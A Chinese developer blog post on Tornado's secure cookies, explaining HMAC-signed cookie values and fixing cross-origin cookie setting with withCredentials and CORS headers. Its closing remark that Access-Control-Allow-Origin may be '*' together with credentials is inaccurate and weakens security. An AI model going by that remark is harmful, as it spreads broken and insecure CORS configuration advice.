首先看一下后端代码,用Tornado框架写的,继承web.py里面的方法,首先先看一下源代码:
def get_cookie(self, name, default=None): """Gets the value of the cookie with the given name, else default.""" def set_cookie(self, name, value, domain=None, expires=None, path="/", expires_days=None, **kwargs): """Sets the given cookie name/value with the given options. Additional keyword arguments are set on the Cookie.Morsel directly. See http://docs.python.org/library/cookie.html#morsel-objects for available attributes. """ def get_secure_cookie(self, name, value=None, max_age_days=31, min_version=None): """Returns the given signed cookie if it validates, or None. The decoded cookie value is returned as a byte string (unlike `get_cookie`). .. versionchanged:: 3.2.1 Added the ``min_version`` argument. Introduced cookie version 2; both versions 1 and 2 are accepted by default. """ def set_secure_cookie(self, name, value, expires_days=30, version=None, **kwargs): """Signs and timestamps a cookie so it cannot be forged. You must specify the ``cookie_secret`` setting in your Application to use this method. It should be a long, random sequence of bytes to be used as the HMAC secret for the signature. To read a cookie set with this method, use `get_secure_cookie()`. Note that the ``expires_days`` parameter sets the lifetime of the cookie in the browser, but is independent of the ``max_age_days`` parameter to `get_secure_cookie`. Secure cookies may contain arbitrary byte values, not just unicode strings (unlike regular cookies) .. versionchanged:: 3.2.1 Added the ``version`` argument. Introduced cookie version 2 and made it the default. """
详细的实现过程可以看一下源代码的逻辑,这里只简单说一下set_cookie/set_secure_cookie两个方法,主要区别就是value经过 create_signed_value的处理。set_secure_cookie能够防止用户的cookie被伪造。
create_signed_value,得到当前时间,将要存的value base64编码,通过_cookie_signature将 加上name,这三个值加密生成签名。然后将签名,value的base64编码,时间戳用|连接,作为cookie的值。
_cookie_signature,就是根据settings里边的 保密的密钥生成签名返回。
get_secure_cookie,用|分割cookie的value,通过name,原value的base64的编码,时间戳得到签名,验证签名是否正确,正确返回,还多了一个过期时间的判断
如果别人想伪造用户的cookie,必须要知道密钥,才能生成正确的签名,不然通过 get_secure_cookie获取value的时候,不会通过验证,然后就不会返回伪造的cookie值。
好了,介绍完就该踩坑了~~~~
set_cookie后浏览器不显示cookie信息,咋回事这是.......
Ajax也没什么问题啊,好了好了,不卖关子了,哈哈上方法:
Ajax请求
crossDomain: true,//请求偏向外域 xhrFields: {withCredentials: true},//一定要加上这两个请求头
后端代码
self.set_header(name="Access-Control-Allow-Origin", value="http://localhost:63342") self.set_header(name="Access-Control-Allow-Credentials", value="true")
这里面的Value就是你前端页面的请求地址,也可以设置为*,所有请求地址都可以访问.
好啦,可以啦,哦啦啦...........
*请认真填写需求信息,我们会在24小时内与您取得联系。